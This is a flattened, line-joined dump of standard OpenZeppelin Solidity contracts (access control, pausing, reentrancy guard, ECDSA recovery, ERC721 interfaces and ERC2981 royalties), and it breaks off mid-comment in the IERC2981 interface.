OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/ERC721Royalty.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../common/ERC2981.sol"; import "../../../utils/introspection/ERC165.sol"; /** * @dev Extension of ERC721 with the ERC2981 NFT Royalty Standard, a standardized way to retrieve royalty payment * information. * * Royalty information can be specified globally for all token ids via {_setDefaultRoyalty}, and/or individually for * specific token ids via {_setTokenRoyalty}. The latter takes precedence over the first. * * IMPORTANT: ERC-2981 only specifies a way to signal royalty information and does not enforce its payment. See * https://eips.ethereum.org/EIPS/eip-2981#optional-royalty-payments[Rationale] in the EIP. Marketplaces are expected to * voluntarily pay royalties together with sales, but note that this standard is not yet widely supported. * * _Available since v4.5._ */ abstract contract ERC721Royalty is ERC2981, ERC721 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC2981) returns (bool) { return super.supportsInterface(interfaceId); } /** * @dev See {ERC721-_burn}. This override additionally clears the royalty information for the token. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); _resetTokenRoyalty(tokenId); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/common/ERC2981.sol) pragma solidity ^0.8.0; import "../../interfaces/IERC2981.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the NFT Royalty Standard, a standardized way to retrieve royalty payment information. * * Royalty information can be specified globally for all token ids via {_setDefaultRoyalty}, and/or individually for * specific token ids via {_setTokenRoyalty}. The latter takes precedence over the first. * * Royalty is specified as a fraction of sale price. {_feeDenominator} is overridable but defaults to 10000, meaning the * fee is specified in basis points by default. * * IMPORTANT: ERC-2981 only specifies a way to signal royalty information and does not enforce its payment. See * https://eips.ethereum.org/EIPS/eip-2981#optional-royalty-payments[Rationale] in the EIP. Marketplaces are expected to * voluntarily pay royalties together with sales, but note that this standard is not yet widely supported. * * _Available since v4.5._ */ abstract contract ERC2981 is IERC2981, ERC165 { struct RoyaltyInfo { address receiver; uint96 royaltyFraction; } RoyaltyInfo private _defaultRoyaltyInfo; mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId); } /** * @inheritdoc IERC2981 */ function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view virtual override returns (address, uint256) { RoyaltyInfo memory royalty = _tokenRoyaltyInfo[_tokenId]; if (royalty.receiver == address(0)) { royalty = _defaultRoyaltyInfo; } uint256 royaltyAmount = (_salePrice * royalty.royaltyFraction) / _feeDenominator(); return (royalty.receiver, royaltyAmount); } /** * @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a * fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an * override. */ function _feeDenominator() internal pure virtual returns (uint96) { return 10000; } /** * @dev Sets the royalty information that all ids in this contract will default to. * * Requirements: * * - `receiver` cannot be the zero address. * - `feeNumerator` cannot be greater than the fee denominator. */ function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual { require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice"); require(receiver != address(0), "ERC2981: invalid receiver"); _defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator); } /** * @dev Removes default royalty information. */ function _deleteDefaultRoyalty() internal virtual { delete _defaultRoyaltyInfo; } /** * @dev Sets the royalty information for a specific token id, overriding the global default. * * Requirements: * * - `tokenId` must be already minted. * - `receiver` cannot be the zero address. * - `feeNumerator` cannot be greater than the fee denominator. */ function _setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) internal virtual { require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice"); require(receiver != address(0), "ERC2981: Invalid parameters"); _tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator); } /** * @dev Resets royalty information for the token id back to the global default. */ function _resetTokenRoyalty(uint256 tokenId) internal virtual { delete _tokenRoyaltyInfo[tokenId]; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Interface for the NFT Royalty Standard. * * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal * support for royalty payments across all NFT marketplaces and ecosystem participants. * * _Available since v4.5._ */ interface IERC2981 is IERC165 { /** * @dev Returns how much royalty is owed and to whom, based on 